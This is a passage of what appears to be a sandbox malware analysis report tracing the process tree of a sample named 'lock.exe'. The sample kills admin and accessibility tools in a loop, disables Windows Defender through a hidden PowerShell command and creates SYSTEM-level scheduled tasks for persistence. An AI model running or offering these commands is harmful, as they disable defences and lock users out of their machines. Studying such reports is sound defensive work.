      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:3828
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im procexp64.exe
    3⤵
    PID:5768
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im msconfig.exe
    3⤵
    PID:2980
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:3400
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im resmon.exe
    3⤵
    PID:1172
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im mmc.exe
    3⤵
    PID:4932
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im perfmon.exe
    3⤵
    PID:4600
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im utilman.exe
    3⤵
    PID:1252
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im osk.exe
    3⤵
    PID:4392
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im narrator.exe
    3⤵
    PID:1168
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im wscript.exe
    3⤵
    PID:4088
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im cscript.exe
    3⤵
    PID:2316
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im mshta.exe
    3⤵
    PID:4228
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im wmic.exe
    3⤵
    PID:2164
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im regsvr32.exe
    3⤵
    PID:5468
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im taskmgr.exe
    3⤵
    PID:2936
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im regedit.exe
    3⤵
    PID:3952
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im cmd.exe
    3⤵
    PID:2504
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im powershell.exe
    3⤵
    PID:4012
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im powershell_ise.exe
    3⤵
    PID:732
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im procexp.exe
    3⤵
    PID:3712
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im procexp64.exe
    3⤵
    PID:4468
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im msconfig.exe
    3⤵
    PID:1636
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im resmon.exe
    3⤵
    PID:3552
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im mmc.exe
    3⤵
    PID:4664
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im perfmon.exe
    3⤵
    PID:1008
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im utilman.exe
    3⤵
    PID:2192
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im osk.exe
    3⤵
    PID:5916
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:4764
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im narrator.exe
    3⤵
    PID:6084
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im wscript.exe
    3⤵
    PID:3400
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im cscript.exe
    3⤵
    PID:6048
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im mshta.exe
    3⤵
    PID:1340
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im wmic.exe
    3⤵
    PID:2244
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im regsvr32.exe
    3⤵
    PID:2408
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im taskmgr.exe
    3⤵
    PID:5324
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im regedit.exe
    3⤵
    PID:4232
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im cmd.exe
    3⤵
    PID:1048
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im powershell.exe
    3⤵
    PID:5068
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im powershell_ise.exe
    3⤵
    PID:4292
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im procexp.exe
    3⤵
    PID:3088
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im procexp64.exe
    3⤵
    PID:5680
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im msconfig.exe
    3⤵
    PID:2344
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im resmon.exe
    3⤵
    - Kills process with taskkill
    PID:1844
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im mmc.exe
    3⤵
    PID:5784
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im perfmon.exe
    3⤵
    PID:756
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im utilman.exe
    3⤵
    PID:3688
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im osk.exe
    3⤵
    PID:4144
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im narrator.exe
    3⤵
    PID:6076
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im wscript.exe
    3⤵
    PID:1284
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im cscript.exe
    3⤵
    PID:3760
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im mshta.exe
    3⤵
    PID:1708
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im wmic.exe
    3⤵
    PID:3044
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im regsvr32.exe
    3⤵
    PID:3936
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im taskmgr.exe
    3⤵
    PID:2208
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im regedit.exe
    3⤵
    PID:3580
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im cmd.exe
    3⤵
    PID:1788
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im powershell.exe
    3⤵
    PID:4912
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im powershell_ise.exe
    3⤵
    PID:3840
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im procexp.exe
    3⤵
    PID:2664
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im procexp64.exe
    3⤵
    PID:5700
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im msconfig.exe
    3⤵
    PID:3764
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im resmon.exe
    3⤵
    PID:4248
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im mmc.exe
    3⤵
    PID:4624
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im perfmon.exe
    3⤵
    PID:960
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im utilman.exe
    3⤵
    PID:2612
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im osk.exe
    3⤵
    PID:2496
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im narrator.exe
    3⤵
    PID:1380
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im wscript.exe
    3⤵
    PID:6084
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im cscript.exe
    3⤵
    PID:4080
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im mshta.exe
    3⤵
    PID:4264
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im wmic.exe
    3⤵
    PID:1264
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im regsvr32.exe
    3⤵
    PID:3444
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im taskmgr.exe
    3⤵
    PID:4976
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im regedit.exe
    3⤵
    PID:5052
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im cmd.exe
    3⤵
    PID:2576
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im powershell.exe
    3⤵
    PID:4840
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im powershell_ise.exe
    3⤵
    PID:1404
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im procexp.exe
    3⤵
    PID:3084
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im procexp64.exe
    3⤵
    PID:1844
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im msconfig.exe
    3⤵
    PID:1788
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im resmon.exe
    3⤵
    PID:5968
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im mmc.exe
    3⤵
    PID:5944
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im perfmon.exe
    3⤵
    PID:3288
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im utilman.exe
    3⤵
    PID:3388
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im osk.exe
    3⤵
    PID:4896

C:\Users\Admin\AppData\Local\Temp\lock.exe
"C:\Users\Admin\AppData\Local\Temp\lock.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:4000
- C:\Users\Admin\AppData\Local\Temp\lock.exe
  "C:\Users\Admin\AppData\Local\Temp\lock.exe"
  2⤵
  - Modifies WinLogon for persistence
  - Modifies Windows Defender DisableAntiSpyware settings
  - Modifies Windows Defender Real-time Protection settings
  - Event Triggered Execution: Image File Execution Options Injection
  - Loads dropped DLL
  - Adds Run key to start application
  - Drops file in System32 directory
  - Suspicious use of WriteProcessMemory
  - System policy modification
  PID:5672
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -WindowStyle Hidden -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableBehaviorMonitoring $true"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:6016
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn SystemSecurityLock /tr "\"C:\Users\Admin\AppData\Local\Temp\lock.exe\" --elevated" /sc onlogon /rl highest /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:3960
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn SystemSecurityLockBoot /tr "\"C:\Users\Admin\AppData\Local\Temp\lock.exe\" --elevated" /sc onstart /rl highest /f /ru SYSTEM
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:6020
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im explorer.exe
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:3768
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im taskmgr.exe
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:5616
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im regedit.exe
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:5580
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im cmd.exe
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:5904
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im powershell.exe
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:3304
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im powershell_ise.exe
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:4240
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im procexp.exe
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:4324
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im procexp64.exe
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:4092
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im msconfig.exe
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:4564
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im resmon.exe
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:4776
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im mmc.exe
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:5768
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im perfmon.exe
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:5344
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im utilman.exe
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:3332
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im osk.exe
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:3884
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im narrator.exe
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:2004
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im wscript.exe
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:2188
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im cscript.exe
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:5868
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im mshta.exe
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:3324
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im wmic.exe
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:3984
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im regsvr32.exe
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:128
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im taskmgr.exe
    3⤵
    PID:5996
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im regedit.exe
    3⤵
    PID:5444
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im cmd.exe
    3⤵
    PID:1220
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im powershell.exe
    3⤵
    PID:5292
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im powershell_ise.exe
    3⤵
    PID:3816
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im procexp.exe
    3⤵
    PID:5348
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im procexp64.exe
    3⤵
    PID:6140
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im msconfig.exe
    3⤵
    PID:2004
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im resmon.exe
    3⤵
    PID:5164
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im mmc.exe
    3⤵
    PID:3680
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im perfmon.exe
    3⤵
    PID:6068
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im utilman.exe
    3⤵
    PID:5132
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im osk.exe
    3⤵
    PID:5104
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im narrator.exe
    3⤵
    PID:4200
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im wscript.exe
    3⤵
    PID:4052
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:1404
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im cscript.exe
    3⤵
    PID:1560
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im mshta.exe
    3⤵
    PID:3400
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:3960
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im wmic.exe
    3⤵
    PID:5388
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im regsvr32.exe
    3⤵
    PID:2952
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im taskmgr.exe
    3⤵
    PID:3828
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im regedit.exe
    3⤵
    PID:4192
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im cmd.exe
    3⤵
    PID:5992
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im powershell.exe
    3⤵
    PID:3296
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im powershell_ise.exe
    3⤵
    PID:4740
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im procexp.exe
    3⤵
    PID:4020
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im procexp64.exe
    3⤵
    PID:2364
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im msconfig.exe
    3⤵
    PID:4004
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im resmon.exe
    3⤵
    PID:5908
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im mmc.exe
    3⤵
    PID:488
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im perfmon.exe
    3⤵
    PID:1380
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im utilman.exe
    3⤵
    PID:1076
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:5996
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im osk.exe
    3⤵
    PID:3088
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im narrator.exe
    3⤵
    PID:932
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im wscript.exe
    3⤵
    PID:3488
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im cscript.exe
    3⤵
    PID:3448
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im mshta.exe
    3⤵
    PID:5728
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im wmic.exe
    3⤵
    PID:2344
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im regsvr32.exe
    3⤵
    PID:6084
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im taskmgr.exe
    3⤵
    PID:1040
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im regedit.exe
    3⤵
    PID:5624
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im cmd.exe
    3⤵
    PID:3280
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im powershell.exe
    3⤵
    - Kills process with taskkill
    PID:5604
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im powershell_ise.exe
    3⤵
    PID:1636
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im procexp.exe
    3⤵
    PID:3504
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im procexp64.exe
    3⤵
    PID:6072
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im msconfig.exe
    3⤵
    PID:5184
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im resmon.exe
    3⤵
    PID:3528
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im mmc.exe
    3⤵
    PID:2316
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:3680
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im perfmon.exe
    3⤵
    PID:2752
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im utilman.exe
    3⤵
    PID:2212
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im osk.exe
    3⤵
    PID:3108
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im narrator.exe
    3⤵
    PID:5784
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im wscript.exe
    3⤵
    PID:4052
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im cscript.exe
    3⤵
    PID:1560
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im mshta.exe
    3⤵
    PID:5196
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im wmic.exe
    3⤵
    PID:1712
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im regsvr32.exe
    3⤵
    PID:5972
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im taskmgr.exe
    3⤵
    PID:2216
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im regedit.exe
    3⤵
    PID:4160
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im cmd.exe
    3⤵
    PID:3936
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im powershell.exe
    3⤵
    - Kills process with taskkill
    PID:1896
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im powershell_ise.exe
    3⤵
    PID:5108
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im procexp.exe
    3⤵
    PID:5284
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im procexp64.exe
    3⤵
    PID:2760
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im msconfig.exe
    3⤵
    PID:3976
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im resmon.exe
    3⤵
    PID:4320
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im mmc.exe
    3⤵
    PID:3476
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im perfmon.exe
    3⤵
    PID:5448
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im utilman.exe
    3⤵
    PID:4604
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im osk.exe
    3⤵
    PID:3328
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im narrator.exe
    3⤵
    PID:4896
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im wscript.exe
    3⤵
    PID:3704
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:2952
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im cscript.exe
    3⤵
    PID:6068
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im mshta.exe
    3⤵
    PID:5376
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im wmic.exe
    3⤵
    PID:5476
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:5968
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im regsvr32.exe
    3⤵
    PID:580
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im taskmgr.exe
    3⤵
    PID:5844
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im regedit.exe
    3⤵
    PID:2832
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im cmd.exe
    3⤵
    PID:5328
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im powershell.exe
    3⤵
    PID:5832
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im powershell_ise.exe
    3⤵
    PID:6012
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im procexp.exe
    3⤵
    PID:4952
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im procexp64.exe
    3⤵
    PID:428
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im msconfig.exe
    3⤵
    PID:4144
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im resmon.exe
    3⤵
    PID:2552
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im mmc.exe
    3⤵
    PID:4152
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im perfmon.exe
    3⤵
    PID:3604
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:4092
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im utilman.exe
    3⤵
    PID:5312
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im osk.exe
    3⤵
    PID:5768
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im narrator.exe
    3⤵
    PID:4040
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im wscript.exe
    3⤵
    PID:2924
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im cscript.exe
    3⤵
    PID:5472
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im mshta.exe
    3⤵
    PID:1380
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im wmic.exe
    3⤵
    PID:2092
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:3200
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im regsvr32.exe
    3⤵
    PID:3552
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im taskmgr.exe
    3⤵
    PID:4028
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im regedit.exe
    3⤵
    PID:4696
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im cmd.exe
    3⤵
    PID:5184
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im powershell.exe
    3⤵
    PID:3532
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im powershell_ise.exe
    3⤵
    PID:4400
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im procexp.exe
    3⤵
    PID:3476
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im procexp64.exe
    3⤵
    PID:3760
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im msconfig.exe
    3⤵
    PID:5420
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im resmon.exe
    3⤵
    PID:5840
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im mmc.exe
    3⤵
    PID:4008
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im perfmon.exe
    3⤵
    PID:1152
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:3024
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im utilman.exe
    3⤵
    PID:3276
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im osk.exe
    3⤵
    PID:2408
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im narrator.exe
    3⤵
    PID:2256
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im wscript.exe
    3⤵
    PID:5096
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im cscript.exe
    3⤵
    PID:2240
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im mshta.exe
    3⤵
    PID:4172
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im wmic.exe
    3⤵
    PID:2364
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im regsvr32.exe
    3⤵
    PID:5668
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im taskmgr.exe
    3⤵
    PID:2980
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im regedit.exe
    3⤵
    PID:3304
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im cmd.exe
    3⤵
    PID:1788
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im powershell.exe
    3⤵
    PID:3348
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im powershell_ise.exe
    3⤵
    PID:2320
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im procexp.exe
    3⤵
    PID:1816
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:2760
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im procexp64.exe
    3⤵
    PID:3692
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im msconfig.exe
    3⤵
    PID:1248
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im resmon.exe
    3⤵
    PID:4248
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im mmc.exe
    3⤵
    PID:3532
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im perfmon.exe
    3⤵
    PID:4764
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im utilman.exe
    3⤵
    PID:2068
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im osk.exe
    3⤵
    PID:3508
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im narrator.exe
    3⤵
    PID:2780
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im wscript.exe
    3⤵
    PID:4808
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im cscript.exe
    3⤵
    PID:4392
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im mshta.exe
    3⤵
    PID:3676
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im wmic.exe
    3⤵
    PID:4296
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im regsvr32.exe
    3⤵
    PID:1056
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im taskmgr.exe
    3⤵
    PID:5936
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im regedit.exe
    3⤵
    PID:1340
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im cmd.exe
    3⤵
    PID:5232
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:72
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im powershell.exe
    3⤵
    PID:5312
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im powershell_ise.exe
    3⤵
    PID:1228
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im procexp.exe
    3⤵
    PID:2004
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im procexp64.exe
    3⤵
    PID:2392
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im msconfig.exe
    3⤵
    PID:5052
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im resmon.exe
    3⤵
    PID:4088
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im mmc.exe
    3⤵
    PID:1056
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im perfmon.exe
    3⤵
    PID:2184
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im utilman.exe
    3⤵
    PID:2892
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im osk.exe
    3⤵
    PID:5468
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im narrator.exe
    3⤵
    PID:2320
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im wscript.exe
    3⤵
    PID:4836
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im cscript.exe
    3⤵
    PID:5768
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im mshta.exe
    3⤵
    PID:5416
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:2496
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im wmic.exe
    3⤵
    PID:1148
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im regsvr32.exe
    3⤵
    PID:932
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im taskmgr.exe
    3⤵
    PID:1016
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im regedit.exe
    3⤵
    PID:412
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im cmd.exe
    3⤵
    PID:4032
- - C:\Windows\system32\taskkill.exe
